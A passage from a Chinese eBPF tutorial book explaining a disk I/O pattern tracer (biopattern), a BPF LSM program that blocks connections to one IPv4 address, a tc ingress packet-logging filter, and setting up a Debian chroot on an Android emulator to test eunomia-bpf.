<p>这两个全局变量用于设备过滤。<code>filter_dev</code> 决定是否启用设备过滤,而 <code>targ_dev</code> 是我们想要追踪的目标设备的标识符。</p>
<p>BPF map 定义:</p>
<pre><code class="language-c"> struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 64);
__type(key, u32);
__type(value, struct counter);
} counters SEC(&quot;.maps&quot;);
</code></pre>
<p>这部分代码定义了一个 BPF map类型为哈希表。该映射的键是设备的标识符而值是一个 <code>counter</code> 结构体,用于存储设备的 I/O 统计信息。</p>
<p>追踪点函数:</p>
<pre><code class="language-c"> SEC(&quot;tracepoint/block/block_rq_complete&quot;)
int handle__block_rq_complete(void *args)
{
struct counter *counterp, zero = {};
sector_t sector;
u32 nr_sector;
u32 dev;
if (has_block_rq_completion()) {
struct trace_event_raw_block_rq_completion___x *ctx = args;
sector = BPF_CORE_READ(ctx, sector);
nr_sector = BPF_CORE_READ(ctx, nr_sector);
dev = BPF_CORE_READ(ctx, dev);
} else {
struct trace_event_raw_block_rq_complete___x *ctx = args;
sector = BPF_CORE_READ(ctx, sector);
nr_sector = BPF_CORE_READ(ctx, nr_sector);
dev = BPF_CORE_READ(ctx, dev);
}
if (filter_dev &amp;&amp; targ_dev != dev)
return 0;
counterp = bpf_map_lookup_or_try_init(&amp;counters, &amp;dev, &amp;zero);
if (!counterp)
return 0;
if (counterp-&gt;last_sector) {
if (counterp-&gt;last_sector == sector)
__sync_fetch_and_add(&amp;counterp-&gt;sequential, 1);
else
__sync_fetch_and_add(&amp;counterp-&gt;random, 1);
__sync_fetch_and_add(&amp;counterp-&gt;bytes, nr_sector * 512);
}
counterp-&gt;last_sector = sector + nr_sector;
return 0;
}
</code></pre>
<p>在 Linux 中,每次块设备的 I/O 请求完成时,都会触发一个名为 <code>block_rq_complete</code> 的追踪点。这为我们提供了一个机会,通过 eBPF 来捕获这些事件,并进一步分析 I/O 的模式。</p>
<p>主要逻辑分析:</p>
<ul>
<li><strong>提取 I/O 请求信息</strong>:从传入的参数中获取 I/O 请求的相关信息。这里有两种可能的上下文结构,取决于 <code>has_block_rq_completion</code> 的返回值。这是因为不同版本的 Linux 内核可能会有不同的追踪点定义。无论哪种情况,我们都从上下文中提取出扇区号 (<code>sector</code>)、扇区数量 (<code>nr_sector</code>) 和设备标识符 (<code>dev</code>)。</li>
<li><strong>设备过滤</strong>:如果启用了设备过滤 (<code>filter_dev</code><code>true</code>),并且当前设备不是目标设备 (<code>targ_dev</code>),则直接返回。这允许用户只追踪特定的设备,而不是所有设备。</li>
<li><strong>统计信息更新</strong>
- <strong>查找或初始化统计信息</strong>:使用 <code>bpf_map_lookup_or_try_init</code> 函数查找或初始化与当前设备相关的统计信息。如果映射中没有当前设备的统计信息,它会使用 <code>zero</code> 结构体进行初始化。
- <strong>判断 I/O 模式</strong>:根据当前 I/O 请求与上一个 I/O 请求的扇区号,我们可以判断当前请求是随机的还是顺序的。如果两次请求的扇区号相同,那么它是顺序的;否则,它是随机的。然后,我们使用 <code>__sync_fetch_and_add</code> 函数更新相应的统计信息。这是一个原子操作,确保在并发环境中数据的一致性。
- <strong>更新数据量</strong>:我们还更新了该设备的总数据量,这是通过将扇区数量 (<code>nr_sector</code>) 乘以 512每个扇区的字节数来实现的。
- <strong>更新最后一个 I/O 请求的扇区号</strong>:为了下一次的比较,我们更新了 <code>last_sector</code> 的值。</li>
</ul>
<p>在 Linux 内核的某些版本中,由于引入了一个新的追踪点 <code>block_rq_error</code>,追踪点的命名和结构发生了变化。这意味着,原先的 <code>block_rq_complete</code> 追踪点的结构名称从 <code>trace_event_raw_block_rq_complete</code> 更改为 <code>trace_event_raw_block_rq_completion</code>。这种变化可能会导致 eBPF 程序在不同版本的内核上出现兼容性问题。</p>
<p>为了解决这个问题,<code>biopattern</code> 工具引入了一种机制来动态检测当前内核使用的是哪种追踪点结构,即 <code>has_block_rq_completion</code> 函数。</p>
<ol>
<li><strong>定义两种追踪点结构</strong></li>
</ol>
<pre><code class="language-c"> struct trace_event_raw_block_rq_complete___x {
dev_t dev;
sector_t sector;
unsigned int nr_sector;
} __attribute__((preserve_access_index));
struct trace_event_raw_block_rq_completion___x {
dev_t dev;
sector_t sector;
unsigned int nr_sector;
} __attribute__((preserve_access_index));
</code></pre>
<p>这里定义了两种追踪点结构,分别对应于不同版本的内核。每种结构都包含设备标识符 (<code>dev</code>)、扇区号 (<code>sector</code>) 和扇区数量 (<code>nr_sector</code>)。</p>
<p><strong>动态检测追踪点结构</strong></p>
<pre><code class="language-c"> static __always_inline bool has_block_rq_completion()
{
if (bpf_core_type_exists(struct trace_event_raw_block_rq_completion___x))
return true;
return false;
}
</code></pre>
<p><code>has_block_rq_completion</code> 函数使用 <code>bpf_core_type_exists</code> 函数来检测当前内核是否存在 <code>trace_event_raw_block_rq_completion___x</code> 结构。如果存在,函数返回 <code>true</code>,表示当前内核使用的是新的追踪点结构;否则,返回 <code>false</code>,表示使用的是旧的结构。在对应的 eBPF 代码中,会根据两种不同的定义分别进行处理,这也是适配不同内核版本之间的变更常见的方案。</p>
<h3 id="用户态代码"><a class="header" href="#用户态代码">用户态代码</a></h3>
<p><code>biopattern</code> 工具的用户态代码负责从 BPF 映射中读取统计数据,并将其展示给用户。通过这种方式,系统管理员可以实时监控每个设备的 I/O 模式,从而更好地理解和优化系统的 I/O 性能。</p>
<p>主循环:</p>
<pre><code class="language-c"> /* main: poll */
while (1) {
sleep(env.interval);
err = print_map(obj-&gt;maps.counters, partitions);
if (err)
break;
if (exiting || --env.times == 0)
break;
}
</code></pre>
<p>这是 <code>biopattern</code> 工具的主循环,它的工作流程如下:</p>
<ul>
<li><strong>等待</strong>:使用 <code>sleep</code> 函数等待指定的时间间隔 (<code>env.interval</code>)。</li>
<li><strong>打印映射</strong>:调用 <code>print_map</code> 函数打印 BPF 映射中的统计数据。</li>
<li><strong>退出条件</strong>:如果收到退出信号 (<code>exiting</code><code>true</code>) 或者达到指定的运行次数 (<code>env.times</code> 达到 0),则退出循环。</li>
</ul>
<p>打印映射函数:</p>
<pre><code class="language-c"> static int print_map(struct bpf_map *counters, struct partitions *partitions)
{
__u32 total, lookup_key = -1, next_key;
int err, fd = bpf_map__fd(counters);
const struct partition *partition;
struct counter counter;
struct tm *tm;
char ts[32];
time_t t;
while (!bpf_map_get_next_key(fd, &amp;lookup_key, &amp;next_key)) {
err = bpf_map_lookup_elem(fd, &amp;next_key, &amp;counter);
if (err &lt; 0) {
fprintf(stderr, &quot;failed to lookup counters: %d\n&quot;, err);
return -1;
}
lookup_key = next_key;
total = counter.sequential + counter.random;
if (!total)
continue;
if (env.timestamp) {
time(&amp;t);
tm = localtime(&amp;t);
strftime(ts, sizeof(ts), &quot;%H:%M:%S&quot;, tm);
printf(&quot;%-9s &quot;, ts);
}
partition = partitions__get_by_dev(partitions, next_key);
printf(&quot;%-7s %5ld %5ld %8d %10lld\n&quot;,
partition ? partition-&gt;name : &quot;Unknown&quot;,
counter.random * 100L / total,
counter.sequential * 100L / total, total,
counter.bytes / 1024);
}
lookup_key = -1;
while (!bpf_map_get_next_key(fd, &amp;lookup_key, &amp;next_key)) {
err = bpf_map_delete_elem(fd, &amp;next_key);
if (err &lt; 0) {
fprintf(stderr, &quot;failed to cleanup counters: %d\n&quot;, err);
return -1;
}
lookup_key = next_key;
}
return 0;
}
</code></pre>
<p><code>print_map</code> 函数负责从 BPF 映射中读取统计数据,并将其打印到控制台。其主要逻辑如下:</p>
<ul>
<li><strong>遍历 BPF 映射</strong>:使用 <code>bpf_map_get_next_key</code><code>bpf_map_lookup_elem</code> 函数遍历 BPF 映射,获取每个设备的统计数据。</li>
<li><strong>计算总数</strong>:计算每个设备的随机和顺序 I/O 的总数。</li>
<li><strong>打印统计数据</strong>:如果启用了时间戳 (<code>env.timestamp</code><code>true</code>),则首先打印当前时间。接着,打印设备名称、随机 I/O 的百分比、顺序 I/O 的百分比、总 I/O 数量和总数据量(以 KB 为单位)。</li>
<li><strong>清理 BPF 映射</strong>:为了下一次的统计,使用 <code>bpf_map_get_next_key</code><code>bpf_map_delete_elem</code> 函数清理 BPF 映射中的所有条目。</li>
</ul>
<h2 id="总结-15"><a class="header" href="#总结-15">总结</a></h2>
<p>在本教程中,我们深入探讨了如何使用 eBPF 工具 biopattern 来实时监控和统计随机和顺序的磁盘 I/O。我们首先了解了随机和顺序磁盘 I/O 的重要性,以及它们对系统性能的影响。接着,我们详细介绍了 biopattern 的工作原理,包括如何定义和使用 BPF maps如何处理不同版本的 Linux 内核中的追踪点变化,以及如何在 eBPF 程序中捕获和分析磁盘 I/O 事件。</p>
<p>您可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 或网站 <a href="https://eunomia.dev/zh/tutorials/">https://eunomia.dev/zh/tutorials/</a> 以获取更多示例和完整的教程。</p>
<ul>
<li>完整代码:<a href="https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/17-biopattern">https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/17-biopattern</a></li>
<li>bcc 工具:<a href="https://github.com/iovisor/bcc/blob/master/libbpf-tools/biopattern.c">https://github.com/iovisor/bcc/blob/master/libbpf-tools/biopattern.c</a></li>
</ul>
<div style="break-before: page; page-break-before: always;"></div><h1 id="更多的参考资料"><a class="header" href="#更多的参考资料">更多的参考资料</a></h1>
<p>可以在这里找到更多关于 eBPF 的信息:</p>
<ul>
<li><a href="https://github.com/zoidbergwill/awesome-ebpf">https://github.com/zoidbergwill/awesome-ebpf</a></li>
<li><a href="https://ebpf.io/">https://ebpf.io/</a></li>
</ul>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-入门实践教程使用-lsm-进行安全检测防御"><a class="header" href="#ebpf-入门实践教程使用-lsm-进行安全检测防御">eBPF 入门实践教程:使用 LSM 进行安全检测防御</a></h1>
<p>eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能,使其在网络和系统性能分析方面具有广泛的应用。安全方面的 eBPF 应用也是如此,本文将介绍如何使用 eBPF LSMLinux Security Modules机制实现一个简单的安全检查程序。</p>
<h2 id="背景-1"><a class="header" href="#背景-1">背景</a></h2>
<p>LSM 从 Linux 2.6 开始成为官方内核的一个安全框架,基于此的安全实现包括 SELinux 和 AppArmor 等。在 Linux 5.7 引入 BPF LSM 后,系统开发人员已经能够自由地实现函数粒度的安全检查能力,本文就提供了这样一个案例:限制通过 socket connect 函数对特定 IPv4 地址进行访问的 BPF LSM 程序。(可见其控制精度是很高的)</p>
<h2 id="lsm-概述"><a class="header" href="#lsm-概述">LSM 概述</a></h2>
<p>LSMLinux Security Modules是 Linux 内核中用于支持各种计算机安全模型的框架。LSM 在 Linux 内核安全相关的关键路径上预置了一批 hook 点,从而实现了内核和安全模块的解耦,使不同的安全模块可以自由地在内核中加载/卸载,无需修改原有的内核代码就可以加入安全检查功能。</p>
<p>在过去,使用 LSM 主要通过配置已有的安全模块(如 SELinux 和 AppArmor或编写自己的内核模块而在 Linux 5.7 引入 BPF LSM 机制后,一切都变得不同了:现在,开发人员可以通过 eBPF 编写自定义的安全策略,并将其动态加载到内核中的 LSM 挂载点,而无需配置或编写内核模块。</p>
<p>现在 LSM 支持的 hook 点包括但不限于:</p>
<ul>
<li>对文件的打开、创建、删除和移动等;</li>
<li>文件系统的挂载;</li>
<li>对 task 和 process 的操作;</li>
<li>对 socket 的操作(创建、绑定 socket发送和接收消息等</li>
</ul>
<p>更多 hook 点可以参考 <a href="https://github.com/torvalds/linux/blob/master/include/linux/lsm_hooks.h">lsm_hooks.h</a></p>
<h2 id="确认-bpf-lsm-是否可用"><a class="header" href="#确认-bpf-lsm-是否可用">确认 BPF LSM 是否可用</a></h2>
<p>首先,请确认内核版本高于 5.7。接下来,可以通过</p>
<pre><code class="language-console">$ cat /boot/config-$(uname -r) | grep BPF_LSM
CONFIG_BPF_LSM=y
</code></pre>
<p>判断是否内核是否支持 BPF LSM。上述条件都满足的情况下可以通过</p>
<pre><code class="language-console">$ cat /sys/kernel/security/lsm
ndlock,lockdown,yama,integrity,apparmor
</code></pre>
<p>查看输出是否包含 bpf 选项,如果输出不包含(像上面的例子),可以通过修改 <code>/etc/default/grub</code></p>
<pre><code class="language-conf">GRUB_CMDLINE_LINUX=&quot;lsm=ndlock,lockdown,yama,integrity,apparmor,bpf&quot;
</code></pre>
<p>并通过 <code>update-grub2</code> 命令更新 grub 配置(不同系统的对应命令可能不同),然后重启系统。</p>
<h2 id="编写-ebpf-程序-1"><a class="header" href="#编写-ebpf-程序-1">编写 eBPF 程序</a></h2>
<pre><code class="language-C">// lsm-connect.bpf.c
#include &quot;vmlinux.h&quot;
#include &lt;bpf/bpf_core_read.h&gt;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
char LICENSE[] SEC(&quot;license&quot;) = &quot;GPL&quot;;
#define EPERM 1
#define AF_INET 2
const __u32 blockme = 16843009; // 1.1.1.1 -&gt; int
SEC(&quot;lsm/socket_connect&quot;)
int BPF_PROG(restrict_connect, struct socket *sock, struct sockaddr *address, int addrlen, int ret)
{
// Satisfying &quot;cannot override a denial&quot; rule
if (ret != 0)
{
return ret;
}
// Only IPv4 in this example
if (address-&gt;sa_family != AF_INET)
{
return 0;
}
// Cast the address to an IPv4 socket address
struct sockaddr_in *addr = (struct sockaddr_in *)address;
// Where do you want to go?
__u32 dest = addr-&gt;sin_addr.s_addr;
bpf_printk(&quot;lsm: found connect to %d&quot;, dest);
if (dest == blockme)
{
bpf_printk(&quot;lsm: blocking %d&quot;, dest);
return -EPERM;
}
return 0;
}
</code></pre>
<p>这是一段 C 实现的 eBPF 内核侧代码,它会阻碍所有试图通过 socket 对 1.1.1.1 的连接操作,其中:</p>
<ul>
<li><code>SEC(&quot;lsm/socket_connect&quot;)</code> 宏指出该程序期望的挂载点;</li>
<li>程序通过 <code>BPF_PROG</code> 宏定义(详情可查看 <a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/tools/lib/bpf/bpf_tracing.h">tools/lib/bpf/bpf_tracing.h</a></li>
<li><code>restrict_connect</code><code>BPF_PROG</code> 宏要求的程序名;</li>
<li><code>ret</code> 是该挂载点上(潜在的)当前函数之前的 LSM 检查程序的返回值;</li>
</ul>
<p>整个程序的思路不难理解:</p>
<ul>
<li>首先,若其他安全检查函数返回值不为 0不通过则无需检查直接返回不通过</li>
<li>接下来,判断是否为 IPV4 的连接请求,并比较试图连接的地址是否为 1.1.1.1</li>
<li>若请求地址为 1.1.1.1 则拒绝连接,否则允许连接;</li>
</ul>
<p>在程序运行期间,所有通过 socket 的连接操作都会被输出到 <code>/sys/kernel/debug/tracing/trace_pipe</code></p>
<h2 id="编译运行-6"><a class="header" href="#编译运行-6">编译运行</a></h2>
<p>通过容器编译:</p>
<pre><code class="language-console">docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest
</code></pre>
<p>或是通过 <code>ecc</code> 编译:</p>
<pre><code class="language-console">$ ecc lsm-connect.bpf.c
Compiling bpf object...
Packing ebpf object and config into package.json...
</code></pre>
<p>并通过 <code>ecli</code> 运行:</p>
<pre><code class="language-shell">sudo ecli run package.json
</code></pre>
<p>接下来,可以打开另一个 terminal并尝试访问 1.1.1.1</p>
<pre><code class="language-console">$ ping 1.1.1.1
ping: connect: Operation not permitted
$ curl 1.1.1.1
curl: (7) Couldn't connect to server
$ wget 1.1.1.1
--2023-04-23 08:41:18-- (try: 2) http://1.1.1.1/
Connecting to 1.1.1.1:80... failed: Operation not permitted.
Retrying.
</code></pre>
<p>同时,我们可以查看 <code>bpf_printk</code> 的输出:</p>
<pre><code class="language-console">$ sudo cat /sys/kernel/debug/tracing/trace_pipe
ping-7054 [000] d...1 6313.430872: bpf_trace_printk: lsm: found connect to 16843009
ping-7054 [000] d...1 6313.430874: bpf_trace_printk: lsm: blocking 16843009
curl-7058 [000] d...1 6316.346582: bpf_trace_printk: lsm: found connect to 16843009
curl-7058 [000] d...1 6316.346584: bpf_trace_printk: lsm: blocking 16843009
wget-7061 [000] d...1 6318.800698: bpf_trace_printk: lsm: found connect to 16843009
wget-7061 [000] d...1 6318.800700: bpf_trace_printk: lsm: blocking 16843009
</code></pre>
<p>完整源代码:<a href="https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/19-lsm-connect">https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/19-lsm-connect</a></p>
<h2 id="总结-16"><a class="header" href="#总结-16">总结</a></h2>
<p>本文介绍了如何使用 BPF LSM 来限制通过 socket 对特定 IPv4 地址的访问。我们可以通过修改 GRUB 配置文件来开启 LSM 的 BPF 挂载点。在 eBPF 程序中,我们通过 <code>BPF_PROG</code> 宏定义函数,并通过 <code>SEC</code> 宏指定挂载点;在函数实现上,遵循 LSM 安全检查模块中 &quot;cannot override a denial&quot; 的原则,并根据 socket 连接请求的目的地址对该请求进行限制。</p>
<p>如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 或网站 <a href="https://eunomia.dev/zh/tutorials/">https://eunomia.dev/zh/tutorials/</a> 以获取更多示例和完整的教程。</p>
<h2 id="参考"><a class="header" href="#参考">参考</a></h2>
<ul>
<li><a href="https://github.com/leodido/demo-cloud-native-ebpf-day">https://github.com/leodido/demo-cloud-native-ebpf-day</a></li>
<li><a href="https://aya-rs.dev/book/programs/lsm/#writing-lsm-bpf-program">https://aya-rs.dev/book/programs/lsm/#writing-lsm-bpf-program</a></li>
</ul>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-入门实践教程二十使用-ebpf-进行-tc-流量控制"><a class="header" href="#ebpf-入门实践教程二十使用-ebpf-进行-tc-流量控制">eBPF 入门实践教程二十:使用 eBPF 进行 tc 流量控制</a></h1>
<h2 id="背景-2"><a class="header" href="#背景-2">背景</a></h2>
<p>Linux 的流量控制子系统Traffic Control, tc在内核中存在了多年类似于 iptables 和 netfilter 的关系tc 也包括一个用户态的 tc 程序和内核态的 trafiic control 框架,主要用于从速率、顺序等方面控制数据包的发送和接收。从 Linux 4.1 开始tc 增加了一些新的挂载点,并支持将 eBPF 程序作为 filter 加载到这些挂载点上。</p>
<h2 id="tc-概述"><a class="header" href="#tc-概述">tc 概述</a></h2>
<p>从协议栈上看tc 位于链路层,其所在位置已经完成了 sk_buff 的分配,要晚于 xdp。为了实现对数据包发送和接收的控制tc 使用队列结构来临时保存并组织数据包,在 tc 子系统中对应的数据结构和算法控制机制被抽象为 qdiscQueueing discipline其对外暴露数据包入队和出队的两个回调接口并在内部隐藏排队算法实现。在 qdisc 中我们可以基于 filter 和 class 实现复杂的树形结构,其中 filter 被挂载到 qdisc 或 class 上用于实现具体的过滤逻辑,返回值决定了该数据包是否属于特定 class。</p>
<p>当数据包到达顶层 qdisc 时,其入队接口被调用,其上挂载的 filter 被依次执行直到一个 filter 匹配成功;此后数据包被送入该 filter 指向的 class进入该 class 配置的 qdisc 处理流程中。tc 框架提供了所谓 classifier-action 机制,即在数据包匹配到特定 filter 时执行该 filter 所挂载的 action 对数据包进行处理,实现了完整的数据包分类和处理机制。</p>
<p>现有的 tc 为 eBPF 提供了 direct-action 模式,它使得一个作为 filter 加载的 eBPF 程序可以返回像 <code>TC_ACT_OK</code> 等 tc action 的返回值,而不是像传统的 filter 那样仅仅返回一个 classid 并把对数据包的处理交给 action 模块。现在eBPF 程序可以被挂载到特定的 qdisc 上,并完成对数据包的分类和处理动作。</p>
<h2 id="编写-ebpf-程序-2"><a class="header" href="#编写-ebpf-程序-2">编写 eBPF 程序</a></h2>
<pre><code class="language-c">#include &lt;vmlinux.h&gt;
#include &lt;bpf/bpf_endian.h&gt;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
#define TC_ACT_OK 0
#define ETH_P_IP 0x0800 /* Internet Protocol packet */
/// @tchook {&quot;ifindex&quot;:1, &quot;attach_point&quot;:&quot;BPF_TC_INGRESS&quot;}
/// @tcopts {&quot;handle&quot;:1, &quot;priority&quot;:1}
SEC(&quot;tc&quot;)
int tc_ingress(struct __sk_buff *ctx)
{
void *data_end = (void *)(__u64)ctx-&gt;data_end;
void *data = (void *)(__u64)ctx-&gt;data;
struct ethhdr *l2;
struct iphdr *l3;
if (ctx-&gt;protocol != bpf_htons(ETH_P_IP))
return TC_ACT_OK;
l2 = data;
if ((void *)(l2 + 1) &gt; data_end)
return TC_ACT_OK;
l3 = (struct iphdr *)(l2 + 1);
if ((void *)(l3 + 1) &gt; data_end)
return TC_ACT_OK;
bpf_printk(&quot;Got IP packet: tot_len: %d, ttl: %d&quot;, bpf_ntohs(l3-&gt;tot_len), l3-&gt;ttl);
return TC_ACT_OK;
}
char __license[] SEC(&quot;license&quot;) = &quot;GPL&quot;;
</code></pre>
<p>这段代码定义了一个 eBPF 程序,它可以通过 Linux TCTransmission Control来捕获数据包并进行处理。在这个程序中我们限定了只捕获 IPv4 协议的数据包,然后通过 bpf_printk 函数打印出数据包的总长度和 Time-To-LiveTTL字段的值。</p>
<p>需要注意的是,我们在代码中使用了一些 BPF 库函数,例如 bpf_htons 和 bpf_ntohs 函数,它们用于进行网络字节序和主机字节序之间的转换。此外,我们还使用了一些注释来为 TC 提供附加点和选项信息。例如,在这段代码的开头,我们使用了以下注释:</p>
<pre><code class="language-c">/// @tchook {&quot;ifindex&quot;:1, &quot;attach_point&quot;:&quot;BPF_TC_INGRESS&quot;}
/// @tcopts {&quot;handle&quot;:1, &quot;priority&quot;:1}
</code></pre>
<p>这些注释告诉 TC 将 eBPF 程序附加到网络接口的 ingress 附加点,并指定了 handle 和 priority 选项的值。关于 libbpf 中 tc 相关的 API 可以参考 <a href="https://patchwork.kernel.org/project/netdevbpf/patch/20210512103451.989420-3-memxor@gmail.com/">patchwork</a> 中的介绍。</p>
<p>总之,这段代码实现了一个简单的 eBPF 程序,用于捕获数据包并打印出它们的信息。</p>
<h2 id="编译运行-7"><a class="header" href="#编译运行-7">编译运行</a></h2>
<p>通过容器编译:</p>
<pre><code class="language-console">docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest
</code></pre>
<p>或是通过 <code>ecc</code> 编译:</p>
<pre><code class="language-console">$ ecc tc.bpf.c
Compiling bpf object...
Packing ebpf object and config into package.json...
</code></pre>
<p>并通过 <code>ecli</code> 运行:</p>
<pre><code class="language-shell">sudo ecli run ./package.json
</code></pre>
<p>可以通过如下方式查看程序的输出:</p>
<pre><code class="language-console">$ sudo cat /sys/kernel/debug/tracing/trace_pipe
node-1254811 [007] ..s1 8737831.671074: 0: Got IP packet: tot_len: 79, ttl: 64
sshd-1254728 [006] ..s1 8737831.674334: 0: Got IP packet: tot_len: 79, ttl: 64
sshd-1254728 [006] ..s1 8737831.674349: 0: Got IP packet: tot_len: 72, ttl: 64
node-1254811 [007] ..s1 8737831.674550: 0: Got IP packet: tot_len: 71, ttl: 64
</code></pre>
<h2 id="总结-17"><a class="header" href="#总结-17">总结</a></h2>
<p>本文介绍了如何向 TC 流量控制子系统挂载 eBPF 类型的 filter 来实现对链路层数据包的排队处理。基于 eunomia-bpf 提供的通过注释向 libbpf 传递参数的方案,我们可以将自己编写的 tc BPF 程序以指定选项挂载到目标网络设备,并借助内核的 sk_buff 结构对数据包进行过滤处理。</p>
<p>如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 或网站 <a href="https://eunomia.dev/zh/tutorials/">https://eunomia.dev/zh/tutorials/</a> 以获取更多示例和完整的教程。</p>
<h2 id="参考-1"><a class="header" href="#参考-1">参考</a></h2>
<ul>
<li><a href="http://just4coding.com/2022/08/05/tc/">http://just4coding.com/2022/08/05/tc/</a></li>
<li><a href="https://arthurchiao.art/blog/understanding-tc-da-mode-zh/">https://arthurchiao.art/blog/understanding-tc-da-mode-zh/</a></li>
</ul>
<div style="break-before: page; page-break-before: always;"></div><h1 id="在-andorid-上使用-ebpf-程序"><a class="header" href="#在-andorid-上使用-ebpf-程序">在 Andorid 上使用 eBPF 程序</a></h1>
<blockquote>
<p>本文主要记录了笔者在 Android Studio Emulator 中测试高版本 Android Kernel 对基于 libbpf 的 CO-RE 技术支持程度的探索过程、结果和遇到的问题。
测试采用的方式是在 Android Shell 环境下构建 Debian 环境,并基于此尝试构建 eunomia-bpf 工具链、运行其测试用例。</p>
</blockquote>
<h2 id="背景-3"><a class="header" href="#背景-3">背景</a></h2>
<p>截至目前2023-04Android 还未对 eBPF 程序的动态加载做出较好的支持,无论是以 bcc 为代表的带编译器分发方案,还是基于 btf 和 libbpf 的 CO-RE 方案,都在较大程度上离不开 Linux 环境的支持,无法在 Android 系统上很好地运行<sup class="footnote-reference"><a href="#WeiShu">1</a></sup></p>
<p>虽然如此,在 Android 平台上尝试 eBPF 也已经有了一些成功案例,除谷歌官方提供的修改 <code>Android.bp</code> 以将 eBPF 程序随整个系统一同构建并挂载的方案<sup class="footnote-reference"><a href="#Google">2</a></sup>,也有人提出基于 Android 内核构建 Linux 环境进而运行 eBPF 工具链的思路,并开发了相关工具。</p>
<p>目前已有的资料,大多基于 adeb/eadb 在 Android 内核基础上构建 Linux 沙箱,并对 bcc 和 bpftrace 相关工具链进行测试,而对 CO-RE 方案的测试工作较少。在 Android 上使用 bcc 工具目前有较多参考资料,如:</p>
<ul>
<li>SeeFlowerX<a href="https://blog.seeflower.dev/category/eBPF/">https://blog.seeflower.dev/category/eBPF/</a></li>
<li>evilpan<a href="https://bbs.kanxue.com/thread-271043.htm">https://bbs.kanxue.com/thread-271043.htm</a></li>
</ul>
<p>其主要思路是利用 chroot 在 Android 内核上运行一个 Debian 镜像,并在其中构建整个 bcc 工具链,从而使用 eBPF 工具。如果想要使用 bpftrace原理也是类似的。</p>
<p>事实上,高版本的 Android 内核已支持 btf 选项,这意味着 eBPF 领域中新兴的 CO-RE 技术也应当能够运用到基于 Android 内核的 Linux 系统中。本文将基于此对 eunomia-bpf 在模拟器环境下进行测试运行。</p>
<blockquote>
<p><a href="https://github.com/eunomia-bpf/eunomia-bpf">eunomia-bpf</a> 是一个结合了 libbpf 和 WebAssembly 技术的开源项目,旨在简化 eBPF 程序的编写、编译和部署。该项目可被视作 CO-RE 的一种实践方式,其核心依赖是 libbpf相信对 eunomia-bpf 的测试工作能够为其他 CO-RE 方案提供参考。</p>
</blockquote>
<h2 id="测试环境"><a class="header" href="#测试环境">测试环境</a></h2>
<ul>
<li>Android EmulatorAndroid Studio Flamingo | 2022.2.1</li>
<li>AVD: Pixel 6</li>
<li>Android Image: Tiramisu Android 13.0 x86_645.15.41-android13-8-00055-g4f5025129fe8-ab8949913</li>
</ul>
<h2 id="环境搭建3"><a class="header" href="#环境搭建3">环境搭建<sup class="footnote-reference"><a href="#SeeFlowerX">3</a></sup></a></h2>
<ol>
<li><a href="https://github.com/tiann/eadb">eadb 仓库</a> 的 releases 页面获取 <code>debianfs-amd64-full.tar.gz</code> 作为 Linux 环境的 rootfs同时还需要获取该项目的 <code>assets</code> 目录来构建环境;</li>
<li>从 Android Studio 的 Device Manager 配置并启动 Android Virtual Device</li>
<li>通过 Android Studio SDK 的 adb 工具将 <code>debianfs-amd64-full.tar.gz</code><code>assets</code> 目录推送到 AVD 中:
<ul>
<li><code>./adb push debianfs-amd64-full.tar.gz /data/local/tmp/deb.tar.gz</code></li>
<li><code>./adb push assets /data/local/tmp/assets</code></li>
</ul>
</li>
<li>通过 adb 进入 Android shell 环境并获取 root 权限:
<ul>
<li><code>./adb shell</code></li>
<li><code>su</code></li>
</ul>
</li>
<li>在 Android shell 中构建并进入 debian 环境:
<ul>
<li><code>mkdir -p /data/eadb</code></li>
<li><code>mv /data/local/tmp/assets/* /data/eadb</code></li>
<li><code>mv /data/local/tmp/deb.tar.gz /data/eadb/deb.tar.gz</code></li>
<li><code>rm -r /data/local/tmp/assets</code></li>
<li><code>chmod +x /data/eadb/device-*</code></li>
<li><code>/data/eadb/device-unpack</code></li>
<li><code>/data/eadb/run /data/eadb/debian</code></li>
</ul>
</li>
</ol>
<p>至此,测试 eBPF 所需的 Linux 环境已经构建完毕。此外,在 Android shell 中(未进入 debian 时)可以通过 <code>zcat /proc/config.gz</code> 并配合 <code>grep</code> 查看内核编译选项。</p>
<blockquote>
<p>目前eadb 打包的 debian 环境存在 libc 版本低,缺少的工具依赖较多等情况;并且由于内核编译选项不同,一些 eBPF 功能可能也无法使用。</p>
</blockquote>
<h2 id="工具构建"><a class="header" href="#工具构建">工具构建</a></h2>
<p>在 debian 环境中将 eunomia-bpf 仓库 clone 到本地,具体的构建过程,可以参考仓库的 <a href="https://github.com/eunomia-bpf/eunomia-bpf/blob/master/documents/build.md">build.md</a>。在本次测试中,笔者选用了 <code>ecc</code> 编译生成 <code>package.json</code> 的方式,该工具的构建和使用方式请参考<a href="https://github.com/eunomia-bpf/eunomia-bpf/tree/master/compiler">仓库页面</a></p>
<blockquote>
<p>在构建过程中,可能需要自行安装包括但不限于 <code>curl</code><code>pkg-config</code><code>libssl-dev</code> 等工具。</p>
</blockquote>
<h2 id="结果"><a class="header" href="#结果">结果</a></h2>
